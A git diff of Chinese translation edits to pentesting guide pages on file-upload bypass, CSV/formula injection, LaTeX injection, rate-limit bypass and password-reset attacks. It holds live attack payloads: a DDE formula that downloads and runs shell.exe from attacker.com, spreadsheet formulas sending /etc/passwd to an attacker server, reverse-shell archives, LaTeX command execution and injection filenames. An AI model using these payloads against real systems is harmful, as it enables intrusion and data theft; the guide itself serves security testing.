- 网页也可能在**调整图像大小**,例如使用 PHP-GD 函数 `imagecopyresized` `imagecopyresampled`。然而,你可以使用**IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种制作**在图像调整大小中存活的有效载荷**的技术,使用 PHP-GD 函数 `thumbnailImage`。然而,你可以使用**tEXt 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 其他检查技巧
@ -81,34 +81,34 @@ AAA<--SNIP 232 A-->AAA.php.png
- **可能的信息泄露**
1. 上传**多次**(并且在**同一时间**)相同名称的**相同文件**
2. 上传一个**已经存在**的**文件**或**文件夹**的**名称**的文件
3. 上传一个文件,其名称为**“.”, “..”, 或 “…”**。例如在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 上传一个可能不易删除的文件,例如**“…:.jpg”**在**NTFS**中。Windows
5. 在**Windows**中上传一个文件,其名称中包含**无效字符**,例如`|<>*?”`Windows
6. 在**Windows**中上传一个文件,使用**保留****禁止****名称**例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 还可以尝试**上传一个可执行文件**.exe或一个**.html**(不太可疑),当受害者意外打开时**将执行代码**。
3. 上传一个文件,其名称为**“.”、 “..”或“…”**。例如,在 Apache 的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 上传一个可能不删除的文件,例如**“…:.jpg”**在**NTFS**中。Windows
5. 在**Windows**中上传一个包含**无效字符**的文件,例如`|<>*?”`作为其名称Windows
6. 在**Windows**中上传一个使用**保留****禁止****名称**的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 和 LPT9。
- 还可以尝试**上传一个可执行文件**.exe或一个**.html**(不太可疑文件,当受害者意外打开时**将执行代码**。
### 特殊扩展名技巧
如果你尝试将文件上传到**PHP服务器** [查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
如果你尝试将文件上传到**ASP服务器** [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
如果你尝试将文件上传到**PHP 服务器** [查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
如果你尝试将文件上传到**ASP 服务器** [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar`文件类似于Java的`.jar`但用于PHP可以**像PHP文件一样使用**用PHP执行或在脚本中包含它...
`.phar` 文件类似于 Java 的 `.jar`,但用于 PHP并且可以**像 PHP 文件一样使用**(通过 PHP 执行或在脚本中包含)。
`.inc`扩展名有时用于仅用于**导入文件**的PHP文件因此在某些时候可能有人允许**此扩展名被执行**。
`.inc` 扩展名有时用于仅用于**导入文件**的 PHP 文件,因此,在某些时候,可能有人允许**此扩展名被执行**。
## **Jetty RCE**
如果你可以将XML文件上传到Jetty服务器你可以获得[RCE因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以如下图所示将XML文件上传到`$JETTY_BASE/webapps/`并期待shell
如果你可以将 XML 文件上传到 Jetty 服务器,你可以获得 [RCE因为**新的 \*.xml \*.war 会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE 利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
如果能够修改`.ini`配置文件则可以在uWSGI服务器中利用远程命令执行RCE漏洞。uWSGI配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是,`@`操作符,作为`@(filename)`使用旨在包含文件的内容。在uWSGI支持的各种方案中“exec”方案特别强大允许从进程的标准输出读取数据。当处理`.ini`配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
如果能够修改 `.ini` 配置文件,则可以在 uWSGI 服务器中利用远程命令执行RCE漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和运算符。值得注意的是,`@` 运算符,作为 `@(filename)` 使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中“exec”方案特别强大允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
考虑以下有害的`uwsgi.ini`文件示例,展示各种方案:
考虑以下有害的 `uwsgi.ini` 文件示例,展示各种方案:
```ini
[uwsgi]
; read from a symbol
@ -133,7 +133,7 @@ characters = @(call://uwsgi_func)
## **wget 文件上传/SSRF 技巧**
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\
**linux** 中,**文件名****最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget`**重命名** 文件为 **"A"\*232+".php"**。
**linux** 中 **文件名** **最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget`**重命名** 文件为 **"A"\*232+".php"**。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,15 +156,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**这样初始URL将绕过检查然后wget将下载重定向的文件并使用新名称。这**不会工作****除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面并使用原始URL中指示的文件名**。
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到不同的文件**这样初始URL将绕过检查然后wget将下载重定向的文件并使用新名称。这**不会工作****除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面并使用原始URL中指示的文件名**。
## 工具
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程确保对Web应用程序进行全面评估。
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程确保对Web应用程序进行全面评估。
## 从文件上传到其他漏洞
- 将**filename**设置为`../../../tmp/lol.png`尝试实现**路径遍历**
- 将**filename**设置为`../../../tmp/lol.png`尝试实现**路径遍历**
- 将**filename**设置为`sleep(10)-- -.jpg`,您可能能够实现**SQL注入**
- 将**filename**设置为`<svg onload=alert(document.domain)>`以实现XSS
- 将**filename**设置为`; sleep 10;`以测试一些命令注入(更多[命令注入技巧在这里](../command-injection.md)
@ -174,13 +174,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
- 特别制作的PDF以实现XSS[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF您可以准备一些将执行任意JS的PDF遵循给定的指示。
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
- 检查上传文件是否有任何**大小限制**
以下是您可以通过上传实现的前10件事情(来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
以下是通过上传可以实现的前10件事的列表(来自[这里](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
1. **ASP / ASPX / PHP5 / PHP / PHP3**Webshell / RCE
2. **SVG**存储的XSS / SSRF / XXE
@ -229,7 +229,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
此外,**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保 evilarc 在操作过程中不会遇到错误。
此外,**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保 evilarc 在操作过程中不会遇到错误。
下面是用于创建恶意 zip 文件的 Python 代码示例:
```python
@ -249,7 +249,7 @@ zip.close()
create_zip()
```
**用压缩进行文件喷洒**
**用压缩进行文件喷洒**
有关更多详细信息,请**查看原始帖子** [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
@ -289,29 +289,29 @@ pop graphic-context
```
## 在PNG中嵌入PHP Shell
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized``imagecopyresampled`函数在此上下文中特别相关因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响对某些用例来说是一个显著的优势。
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized``imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响在某些用例中是一个显著的优势。
关于此技术的详细探讨,包括其方法论和潜在应用,详见以下文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shells"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
更多信息在:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## 多格式文件
多格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar)它既可以作为GIF文件也可以作为RAR归档文件。这类文件并不限于这种组合像GIF和JS或PPT和JS的组合也是可行的。
多格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar)它既可以作为GIF也可以作为RAR档案。这样的文件并不限于这种配对像GIF和JS或PPT和JS的组合也是可行的。
多格式文件的核心用途在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式例如JS、PHP或Phar文件带来的风险。然而多格式文件通过符合多种文件类型的结构标准可以悄然绕过这些限制。
多格式文件的核心实用性在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式例如JS、PHP或Phar文件带来的风险。然而多格式文件通过符合多种文件类型的结构标准可以悄然绕过这些限制。
尽管它们具有适应性但多格式文件确实面临限制。例如虽然一个多格式文件可能同时包含PHAR文件PHp ARchive和JPEG但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格仅仅是多格式文件的结构双重性可能不足以保证其上传。
尽管它们具有适应性,但多格式文件确实面临限制。例如,虽然一个多格式文件可能同时包含一个PHAR文件PHp ARchive一个JPEG但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格仅仅是多格式文件的结构双重性可能不足以保证其上传。
更多信息在:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### 像PDF一样上传有效的JSON
如何通过伪装成PDF文件上传有效的JSON文件以避免文件类型检测来自**[这篇博客文章](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**
如何通过伪装成PDF文件上传有效的JSON文件以避免文件类型检测来自**[这篇博客文章](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**的技术
- **`mmmagic`库**:只要前1024字节中包含`%PDF`魔术字节,它就是有效的(从文章中获取示例)
- **`pdflib`库**在JSON的字段中添加一个伪造的PDF格式以便库认为它是PDF从文章中获取示例
- **`file`二进制**它可以从文件中读取最多1048576字节。只需创建一个比这更大的JSON以便它无法将内容解析为JSON然后在JSON内部放入真实PDF的初始部分它会认为这是一个PDF
- **`mmmagic`库**:只要`%PDF`魔术字节在前1024字节内,它就是有效的(从文章中获取示例)
- **`pdflib`库**在JSON的字段中添加一个伪造的PDF格式以便库认为它是一个PDF从文章中获取示例
- **`file`二进制**它可以从文件中读取最多1048576字节。只需创建一个比这更大的JSON以便它无法将内容解析为JSON然后在JSON内部放入一个真实PDF的初始部分它会认为这是一个PDF
## 参考文献

View File

@ -6,10 +6,10 @@
### Info
如果你的 **输入****反射** **CSV 文件**(或任何其他可能会被 **Excel** 打开的文件)中,你可能能够放置 **Excel 公式**,这些公式将在用户 **打开文件**用户 **点击 Excel 表格中的某个链接** 时被 **执行**
如果你的 **输入****反射** **CSV 文件**(或任何其他可能会被 **Excel** 打开的文件)中,你可能能够放置 Excel **公式**,这些公式将在用户 **打开文件** 或用户 **点击 Excel 表格中的某个链接** 时被 **执行**
> [!CAUTION]
> 现在 **Excel 会警告**(多次) **用户当从 Excel 之外加载某些内容**,以防止他进行恶意操作。因此,必须在最终有效载荷上特别努力进行社会工程。
> 现在 **Excel 会警告**(多次) **用户当从加载内容**,以防止他进行恶意操作。因此,必须在最终有效载荷上特别努力进行社会工程。
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
@ -26,17 +26,17 @@ DDE ("cmd";"/C calc";"!A0")A0
以下示例取自 [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
想象一下,一个学生记录管理系统的安全漏洞通过 CSV 注入攻击被利用。攻击者的主要意图是破坏教师用于管理学生详细信息的系统。该方法涉及攻击者将恶意有效载荷注入应用程序,具体通过在用于学生详细信息的字段中输入有害公式。攻击过程如下:
想象一下,一个学生记录管理系统的安全漏洞通过 CSV 注入攻击被利用。攻击者的主要意图是破坏教师用于管理学生信息的系统。该方法涉及攻击者将恶意有效载荷注入应用程序,具体通过在用于学生信息的字段中输入有害公式。攻击过程如下:
1. **注入恶意有效载荷:**
- 攻击者提交一个学生详细信息表单,但包含一个在电子表格中常用的公式(例如,`=HYPERLINK("<malicious_link>","Click here")`)。
- 攻击者提交一个学生信息表单,但包含一个在电子表格中常用的公式(例如,`=HYPERLINK("<malicious_link>","Click here")`)。
- 该公式旨在创建一个超链接,但指向攻击者控制的恶意服务器。
2. **导出被破坏的数据:**
- 教师在不知情的情况下,使用应用程序的功能将数据导出为 CSV 文件。
- 当打开 CSV 文件时,仍然包含恶意有效载荷。该有效载荷在电子表格中显示为可点击的超链接。
3. **触发攻击:**
- 一位教师点击超链接,认为这是学生详细信息的合法部分。
- 点击后,敏感数据(可能包括电子表格或教师计算机上的详细信息)被传输到攻击者的服务器。
- 一位教师点击超链接,认为这是学生信息的合法部分。
- 点击后,敏感数据(可能包括电子表格中的详细信息或教师计算机上的信息)被传输到攻击者的服务器。
4. **记录数据:**
- 攻击者的服务器接收并记录从教师计算机发送的敏感数据。
- 攻击者可以利用这些数据进行各种恶意目的,进一步危害学生和机构的隐私与安全。
@ -45,52 +45,52 @@ DDE ("cmd";"/C calc";"!A0")A0
**查看** [**原始帖子**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **以获取更多详细信息。**
在特定配置或旧版本的 Excel 中可以利用称为动态数据交换DDE的功能来执行任意命令。要利用此功能必须启用以下设置
在特定配置或旧版本的 Excel 中可以利用称为动态数据交换DDE的功能来执行任意命令。要利用此功能必须启用以下设置
- 导航到 文件 → 选项 → 信任中心 → 信任中心设置 → 外部内容,并启用 **动态数据交换服务器启动**
当打开带有恶意有效载荷的电子表格时(如果用户接受警告),有效载荷将被执行。例如,要启动计算器应用程序,有效载荷将是:
当打开包含恶意有效载荷的电子表格时(如果用户接受警告),有效载荷将被执行。例如,要启动计算器应用程序,有效载荷将是:
```markdown
=cmd|' /C calc'!xxx
```
还可以执行其他命令,例如使用 PowerShell 下载执行文件:
还可以执行其他命令,例如使用 PowerShell 下载执行文件:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc 可以用来读取本地文件并提取数据。以下是一些方法:
LibreOffice Calc 可以用来读取本地文件并外泄数据。以下是一些方法:
- 从本地 `/etc/passwd` 文件读取第一行: `='file:///etc/passwd'#$passwd.A1`
- 将读取的数据提取到攻击者控制的服务器: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- 提取多于一行: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS 提取(将读取的数据作为 DNS 查询发送到攻击者控制的 DNS 服务器): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
- 将读取的数据外泄到攻击者控制的服务器: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- 外泄多于一行: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS 外泄(将读取的数据作为 DNS 查询发送到攻击者控制的 DNS 服务器): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets 提供可以被利用进行 OOB 数据提取的函数
Google Sheets 提供的函数可以被利用进行 OOB 数据外泄
- **CONCATENATE**: 将字符串连接在一起 - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: 从结构化数据类型导入数据 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: 导入 RSS 或 ATOM 源 - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: 从 HTML 表格或列表导入数据 - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTFEED**: 导入 RSS 或 ATOM 订阅源 - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: 从 HTML 表格或列表导入数据 - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: 从另一个电子表格导入一系列单元格 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: 将图像插入单元格 - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
- **IMAGE**: 在单元格中插入图像 - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
通常,互联网上会找到将 **LaTeX 代码转换为 PDF** 的服务器使用 **`pdflatex`**。\
通常,互联网上的服务器 **将 LaTeX 代码转换为 PDF** 使用 **`pdflatex`**。\
该程序使用 3 个主要属性来(不)允许命令执行:
- **`--no-shell-escape`**: **禁用** `\write18{command}` 结构,即使在 texmf.cnf 文件中启用。
- **`--shell-restricted`**: 与 `--shell-escape` 相同,但 **限制** 为一组“安全”的 **预定义** \*\*命令(\*\*在 Ubuntu 16.04 中,列表在 `/usr/share/texmf/web2c/texmf.cnf` 中)。
- **`--shell-restricted`**: 与 `--shell-escape` 相同,但 **限制** 为一组“安全”的 **预定义** **命令**在 Ubuntu 16.04 中,列表在 `/usr/share/texmf/web2c/texmf.cnf` 中)。
- **`--shell-escape`**: **启用** `\write18{command}` 结构。该命令可以是任何 shell 命令。出于安全原因,通常不允许此结构。
然而,还有其他方法可以执行命令,因此为了避免 RCE使用 `--shell-restricted` 是非常重要的。
### Read file <a href="#read-file" id="read-file"></a>
您可能需要使用包装器调整注入,例如 \[ 或 $。
您可能需要使用 \[ 或 $ 来调整注入
```bash
\input{/etc/passwd}
\include{password} # load .tex file
@ -148,7 +148,7 @@ Google Sheets 提供可以被利用进行 OOB 数据提取的函数:
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
如果您遇到任何LaTex错误请考虑使用base64来获取没有坏字符的结果。
如果您遇到任何 LaTex 错误,请考虑使用 base64 来获取没有坏字符的结果。
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}

View File

@ -6,7 +6,7 @@
### Exploring Similar Endpoints
应尝试对目标端点的变体进行暴力攻击,例如 `/api/v3/sign-up`,包括 `/Sing-up``/SignUp``/singup``/api/v1/sign-up``/api/sign-up` 等替代方案。
应尝试对目标端点的变体进行暴力攻击,例如 `/api/v3/sign-up`,包括类似 `/Sing-up``/SignUp``/singup``/api/v1/sign-up``/api/sign-up` 等替代方案。
### Incorporating Blank Characters in Code or Parameters
@ -44,12 +44,16 @@ X-Forwarded-For: 127.0.0.1
部署一个代理网络,将请求分散到多个 IP 地址,可以有效绕过基于 IP 的速率限制。通过通过各种代理路由流量,每个请求看起来都来自不同的来源,从而稀释速率限制的有效性。
### 在不同帐户或会话之间分攻击
### 在不同帐户或会话之间分攻击
如果目标系统在每个帐户或每个会话的基础上应用速率限制,将攻击或测试分散到多个帐户或会话可以帮助避免检测。这种方法需要管理多个身份或会话令牌,但可以有效地分散负载,以保持在允许的限制内。
如果目标系统在每个帐户或每个会话的基础上应用速率限制,将攻击或测试分散到多个帐户或会话可以帮助避免检测。这种方法需要管理多个身份或会话令牌,但可以有效地分配负载以保持在允许的限制内。
### 继续尝试
请注意,即使存在速率限制,您也应该尝试查看在发送有效 OTP 时响应是否不同。在 [**这篇文章**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) 中,漏洞猎人发现,即使在 20 次不成功尝试后触发速率限制并以 401 响应,如果发送了有效的 OTP则会收到 200 响应。
请注意,即使存在速率限制,您也应该尝试查看在发送有效 OTP 时响应是否不同。在 [**这篇文章**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) 中,漏洞猎人发现,即使在 20 次不成功的尝试后触发速率限制并以 401 响应,如果发送了有效的 OTP则会收到 200 响应。
### 工具
- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz 是一个模糊测试工具,旨在测试和绕过 WAF 和 CDN。通过利用随机用户代理和头部值、随机延迟、处理多线程、选择性分块字典和每个分块的轮询代理旋转等高级功能它为旨在识别 Web 应用程序漏洞的安全专业人员提供了强大的解决方案。
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
### 重复注册
- 尝试使用已存在的用户名生成
- 尝试使用现有用户名生成
- 检查不同的电子邮件:
- 大写字母
- \+1@
@ -18,7 +18,7 @@
### 用户名枚举
检查您是否可以判断用户名是否已在应用程序中注册。
检查您是否可以确定用户名是否已在应用程序中注册。
### 密码策略
@ -27,7 +27,7 @@
### SQL 注入
[**查看此页面**](sql-injection/index.html#insert-statement)以了解如何通过 **SQL 注入** 在注册表单中尝试账户接管或提取信息。
[**查看此页面**](sql-injection/index.html#insert-statement)以了解如何尝试账户接管或通过**SQL 注入**在注册表单中提取信息。
### Oauth 接管
@ -43,11 +43,11 @@ saml-attacks/
### 更改电子邮件
注册后尝试更改电子邮件,并检查此更改是否经过正确验证或是否可以更改为任意电子邮件。
注册后尝试更改电子邮件,并检查此更改是否正确验证或是否可以更改为任意电子邮件。
### 更多检查
- 检查是否可以使用 **一次性电子邮件**
- 检查是否可以使用**一次性电子邮件**
- **长** **密码** (>200) 导致 **DoS**
- **检查账户创建的速率限制**
- 使用 username@**burp_collab**.net 并分析 **回调**
@ -67,12 +67,12 @@ saml-attacks/
1. 在 Burp Suite 中拦截密码重置请求
2. 在 Burp Suite 中添加或编辑以下头部: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 使用修改后的头部转发请求\
3. 转发带有修改头部的请求\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. 查找基于 _host 头_ 的密码重置 URL例如 `https://attacker.com/reset-password.php?token=TOKEN`
### 通过电子邮件参数重置密码 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -92,7 +92,7 @@ email=victim@mail.com|hacker@mail.com
1. 攻击者必须使用他们的账户登录并进入**更改密码**功能。
2. 启动Burp Suite并拦截请求
3. 将其发送到重复器标签并编辑参数用户ID/电子邮件\
3. 将其发送到重发器选项卡并编辑参数用户ID/电子邮件\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
@ -102,7 +102,7 @@ email=victim@mail.com|hacker@mail.com
- 时间戳
- 用户ID
- 用户电子邮件
- 用户电子邮件
- 名字和姓氏
- 出生日期
- 加密
@ -115,7 +115,7 @@ email=victim@mail.com|hacker@mail.com
1. 使用API/UI触发特定电子邮件的密码重置请求例如test@mail.com
2. 检查服务器响应并查看`resetToken`
3. 然后在URL中使用令牌`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
3. 然后在URL中使用令牌`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>

View File

@ -12,21 +12,21 @@ CREATE EXTENSION dblink;
### 权限提升
文件 `pg_hba.conf` 可能配置不当 **允许来自 localhost 的连接** 作为 **任何用户**,而无需知道密码。该文件通常可以在 `/etc/postgresql/12/main/pg_hba.conf` 中找到,错误的配置如下:
文件 `pg_hba.conf` 可能配置不当 **允许来自 localhost 的任何用户连接**,而无需知道密码。该文件通常位于 `/etc/postgresql/12/main/pg_hba.conf`,不当配置的样子如下:
```
local all all trust
```
_请注意这种配置通常用于在管理员忘记数据库用户密码时修改密码因此有时您可能会找到它。_\
